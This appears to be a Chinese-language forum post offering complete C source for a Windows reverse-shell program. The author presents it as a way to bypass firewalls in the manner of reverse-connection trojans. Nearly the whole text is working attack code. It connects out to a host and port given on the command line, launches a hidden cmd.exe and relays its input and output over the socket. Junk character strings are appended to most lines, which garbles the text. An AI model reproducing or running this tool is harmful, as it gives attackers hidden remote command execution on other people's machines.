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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u54+oh|,M  
-1< }_*  
/* ============================== GoFC!nx  
Rebound port in Windows NT J>+Dv?Ni$  
By wind,2006/7 ZSbD4 |_  
===============================*/ p<![JeV  
#include >i0FGmxH  
#include YY.;J3C  
l&C%oW  
#pragma comment(lib,"wsock32.lib") {g);HnmPN  
o30PI  
void OutputShell(); ];< [Cln%  
SOCKET sClient; ;[6u79;I  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `*~:n vU  
Fc nR}TE  
void main(int argc,char **argv) U %KoG-#  
{ hTy#Q.=  
WSADATA stWsaData; E-Mp|y/V  
int nRet; MBa/-fD  
SOCKADDR_IN stSaiClient,stSaiServer; ;`xu)08a  
R{*p \;  
if(argc != 3) Dm5UQe  
{ FUHjY  
printf("Useage:\n\rRebound DestIP DestPort\n"); iBc( @EJ  
return; XL"e<P;t  
} lxxK6;r~>  
c s hZR(b  
WSAStartup(MAKEWORD(2,2),&stWsaData); aEgzQono  
J"SAA0)@  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L ~  
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stSaiClient.sin_family = AF_INET; 0 ">#h  
stSaiClient.sin_port = htons(0); ah}aL7dgO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); I=b#tUBh8  
1~_]"Y'  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4[5Z>2w  
{ y[}BFUy  
printf("Bind Socket Failed!\n"); #ocT4  
return; +]AE}UXZoh  
} 9,F(f}(t  
3"<{YEj8U  
stSaiServer.sin_family = AF_INET; N($j;<Q  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^91k@MC  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [OM Kk#vW  
Ot/Y?=j~  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VNMhtwmK,  
{ yyZjMnuD  
printf("Connect Error!"); =b; v:HC  
return; ] e&"CF  
} /.}&yRR  
OutputShell(); &\5T`|~)!  
} |&C.P?q  
0w\gxd~'  
void OutputShell() ^&.F!  
{ ^D6JckW  
char szBuff[1024]; s=28.  
SECURITY_ATTRIBUTES stSecurityAttributes; o fN|%g /  
OSVERSIONINFO stOsversionInfo; G*n5`N@>7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ? Bk"3{hl  
STARTUPINFO stStartupInfo; }G-qOt  
char *szShell; KUB"@wUr  
PROCESS_INFORMATION stProcessInformation; /LJ?JwAvg5  
unsigned long lBytesRead; D3MuP p-v  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); "ua/65cq9  
|~'{ [?a*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k:af  
stSecurityAttributes.lpSecurityDescriptor = 0; ZfMJU  
stSecurityAttributes.bInheritHandle = TRUE; @aBZ|8  
B<_T"n'#b  
/X8b=:h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Mc{1Cdj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vrz<DB^-e  
0Wk}d(f  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); O@Xl_QNxc!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t7n*kiN<q  
stStartupInfo.wShowWindow = SW_HIDE; /eZA AH  
stStartupInfo.hStdInput = hReadPipe; K\o!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C[&L h_F\  
-6Cxz./#yS  
GetVersionEx(&stOsversionInfo); lQ)ZsFs=  
TN` pai0  
switch(stOsversionInfo.dwPlatformId) ^${-^w@,%V  
{ $] w&`F-  
case 1: y8 `H*s@  
szShell = "command.com"; dB< \X.   
break; $zDW)%nAX  
default: )|\72Z~eq  
szShell = "cmd.exe"; q}(UC1|  
break; < R0c=BZ>  
} ~I2 IgEj>]  
RYmk6w!w  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3"&6rdF\jB  
/ptIxe  
send(sClient,szMsg,77,0); .wYx_  
while(1) Dh J<\_;  
{ t5[{ihv~:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @l BR;B"  
if(lBytesRead) F5&4x"c  
{ @;Yb6&I;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |jc87(x <  
send(sClient,szBuff,lBytesRead,0); #jK{)%}mA  
} =3""D{l  
else Pp #!yMxBr  
{ q'{E $V)E  
lBytesRead=recv(sClient,szBuff,1024,0); !!dNp5h`  
if(lBytesRead<=0) break; ^yjc"r%B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'szkn0  
} fs7JA=?:  
} 5-aCNAF2  
k45xtKS>d  
return; rVFAwbR  
}
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